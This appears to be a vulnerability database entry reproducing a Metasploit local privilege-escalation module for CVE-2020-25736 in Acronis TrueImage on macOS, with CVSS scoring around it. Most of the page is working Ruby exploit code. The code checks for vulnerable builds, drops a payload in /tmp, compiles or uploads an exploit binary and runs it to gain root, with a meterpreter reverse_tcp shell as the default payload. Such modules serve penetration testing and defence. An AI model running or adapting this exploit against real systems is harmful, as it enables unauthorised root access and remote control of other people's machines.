Lucene search

K
metasploitCsaba Fitzl, Shelby PaceMSF:EXPLOIT-OSX-LOCAL-ACRONIS_TRUEIMAGE_XPC_PRIVESC-
HistoryNov 11, 2022 - 11:56 p.m.

Acronis TrueImage XPC Privilege Escalation

2022-11-1123:56:13
Csaba Fitzl, Shelby Pace
www.rapid7.com
76
acronis trueimage
privilege escalation
arbirtary clients
root privileges
os x
cve-2020-25736
vulnerability discovery
meterpreter
shell

4.6 Medium

CVSS2

Attack Vector

LOCAL

Attack Complexity

LOW

Authentication

NONE

Confidentiality Impact

PARTIAL

Integrity Impact

PARTIAL

Availability Impact

PARTIAL

AV:L/AC:L/Au:N/C:P/I:P/A:P

7.8 High

CVSS3

Attack Vector

LOCAL

Attack Complexity

LOW

Privileges Required

LOW

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

0.001 Low

EPSS

Percentile

21.2%

Acronis TrueImage versions 2019 update 1 through 2021 update 1 are vulnerable to privilege escalation. The com.acronis.trueimagehelper helper tool does not perform any validation on connecting clients, which gives arbitrary clients the ability to execute functions provided by the helper tool with root privileges.

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Local
  Rank = ExcellentRanking

  include Msf::Post::File
  include Msf::Post::Common
  include Msf::Post::Process
  include Msf::Exploit::EXE
  include Msf::Exploit::FileDropper
  prepend Msf::Exploit::Remote::AutoCheck

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Acronis TrueImage XPC Privilege Escalation',
        'Description' => %q{
          Acronis TrueImage versions 2019 update 1 through 2021 update 1
          are vulnerable to privilege escalation. The `com.acronis.trueimagehelper`
          helper tool does not perform any validation on connecting clients,
          which gives arbitrary clients the ability to execute functions provided
          by the helper tool with `root` privileges.
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'Csaba Fitzl', # @theevilbit - Vulnerability Discovery
          'Shelby Pace' # Metasploit Module and Objective-c code
        ],
        'Platform' => [ 'osx' ],
        'Arch' => [ ARCH_X64 ],
        'SessionTypes' => [ 'shell', 'meterpreter' ],
        'Targets' => [[ 'Auto', {} ]],
        'Privileged' => true,
        'References' => [
          [ 'CVE', '2020-25736' ],
          [ 'URL', 'https://kb.acronis.com/content/68061' ],
          [ 'URL', 'https://attackerkb.com/topics/a1Yrvagxt5/cve-2020-25736' ]
        ],
        'DefaultOptions' => {
          'PAYLOAD' => 'osx/x64/meterpreter/reverse_tcp',
          'WfsDelay' => 15
        },
        'DisclosureDate' => '2020-11-11',
        'DefaultTarget' => 0,
        'Notes' => {
          'Stability' => [ CRASH_SAFE ],
          'Reliability' => [ REPEATABLE_SESSION ],
          'SideEffects' => [ ARTIFACTS_ON_DISK, IOC_IN_LOGS ]
        }
      )
    )

    register_options([
      OptString.new('WRITABLE_DIR', [ true, 'Writable directory to write the payload to', '/tmp' ]),
      OptString.new('SHELL', [ true, 'Shell to use for executing payload', '/bin/zsh' ]),
      OptEnum.new('COMPILE', [ true, 'Compile exploit on target', 'Auto', [ 'Auto', 'True', 'False' ] ])
    ])
  end

  def tmp_dir
    datastore['WRITABLE_DIR'].to_s
  end

  def sys_shell
    datastore['SHELL'].to_s
  end

  def compile
    datastore['COMPILE']
  end

  def compile_on_target?
    return false if compile == 'False'

    if compile == 'Auto'
      ret = cmd_exec('xcode-select -p')
      return false if ret.include?('error: unable')
    end

    true
  end

  def exp_file_name
    @exp_file_name ||= Rex::Text.rand_text_alpha(5..10)
  end

  def check
    helper_location = '/Library/PrivilegedHelperTools'
    helper_svc_names = [ 'com.acronis.trueimagehelper', 'com.acronis.helpertool' ]
    plist = '/Applications/Acronis True Image.app/Contents/Info.plist'

    unless helper_svc_names.any? { |svc_name| file?("#{helper_location}/#{svc_name}") }
      return CheckCode::Safe
    end

    return CheckCode::Detected('Service found, but cannot determine version via plist') unless file?(plist)

    plutil_cmd = "plutil -extract CFBundleVersion raw \'#{plist}\'"
    build_no = cmd_exec(plutil_cmd)
    return CheckCode::Detected('Could not retrieve build number from plist') if build_no.blank?

    build_no = build_no.to_i
    vprint_status("Found build #{build_no}")
    return CheckCode::Appears('Vulnerable build found') if build_no > 14170 && build_no < 33610

    CheckCode::Safe('Acronis version found is not vulnerable')
  end

  def exploit
    payload_name = Rex::Text.rand_text_alpha(7)
    @payload_path = "#{tmp_dir}/#{payload_name}"

    print_status("Attempting to write payload at #{@payload_path}")
    unless upload_and_chmodx(@payload_path, generate_payload_exe)
      fail_with(Failure::BadConfig, 'Failed to write payload. Consider changing WRITABLE_DIR option.')
    end
    vprint_good("Successfully wrote payload at #{@payload_path}")

    @pid = get_valid_pid
    exp_bin_path = "#{tmp_dir}/#{exp_file_name}"

    if compile_on_target?
      exp_src = "#{exp_file_name}.m"
      exp_path = "#{tmp_dir}/#{exp_src}"
      compile_cmd = "gcc -framework Foundation #{exp_path} -o #{exp_bin_path}"

      unless write_file(exp_path, objective_c_code)
        fail_with(Failure::BadConfig, 'Failed to write Objective-C exploit to disk. WRITABLE_DIR may need to be changed')
      end
      register_files_for_cleanup(@payload_path, exp_path, exp_bin_path)

      ret = cmd_exec(compile_cmd)
      fail_with(Failure::UnexpectedReply, "Failed to compile #{exp_src}") unless ret.blank?

      print_status("Successfully compiled #{exp_src}...Now executing payload")
    else
      print_status("Using pre-compiled exploit #{exp_bin_path}")
      compiled_exploit = compiled_exp
      unless upload_and_chmodx(exp_bin_path, compiled_exploit)
        fail_with(Failure::BadConfig, 'Failed to write compiled exploit. Consider changing WRITABLE_DIR option.')
      end

      register_files_for_cleanup(exp_bin_path, @payload_path)
    end

    cmd_exec(exp_bin_path)
  end

  def objective_c_code
    file_contents = exploit_data('CVE-2020-25736', 'acronis-exp.erb')
    ERB.new(file_contents).result(binding)
  rescue Errno::ENOENT
    fail_with(Failure::NotFound, 'ERB payload file not found')
  end

  def compiled_exp
    compiled = exploit_data('CVE-2020-25736', 'acronis-exp.macho')
    compiled.gsub!('/tmp/payload', @payload_path)
    compiled.gsub!('/bin/zsh', sys_shell)
    compiled.gsub!("\xEF\xBE\xAD\xDE".force_encoding('ASCII-8BIT'), [@pid.to_i].pack('V'))

    compiled
  end

  def get_valid_pid
    procs = get_processes
    return '1' if procs.empty?

    len = procs.length
    rand_proc = procs[rand(1...len)]
    return '1' if rand_proc['pid'].to_s.blank?

    rand_proc['pid'].to_s
  end
end

4.6 Medium

CVSS2

Attack Vector

LOCAL

Attack Complexity

LOW

Authentication

NONE

Confidentiality Impact

PARTIAL

Integrity Impact

PARTIAL

Availability Impact

PARTIAL

AV:L/AC:L/Au:N/C:P/I:P/A:P

7.8 High

CVSS3

Attack Vector

LOCAL

Attack Complexity

LOW

Privileges Required

LOW

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

0.001 Low

EPSS

Percentile

21.2%

Related for MSF:EXPLOIT-OSX-LOCAL-ACRONIS_TRUEIMAGE_XPC_PRIVESC-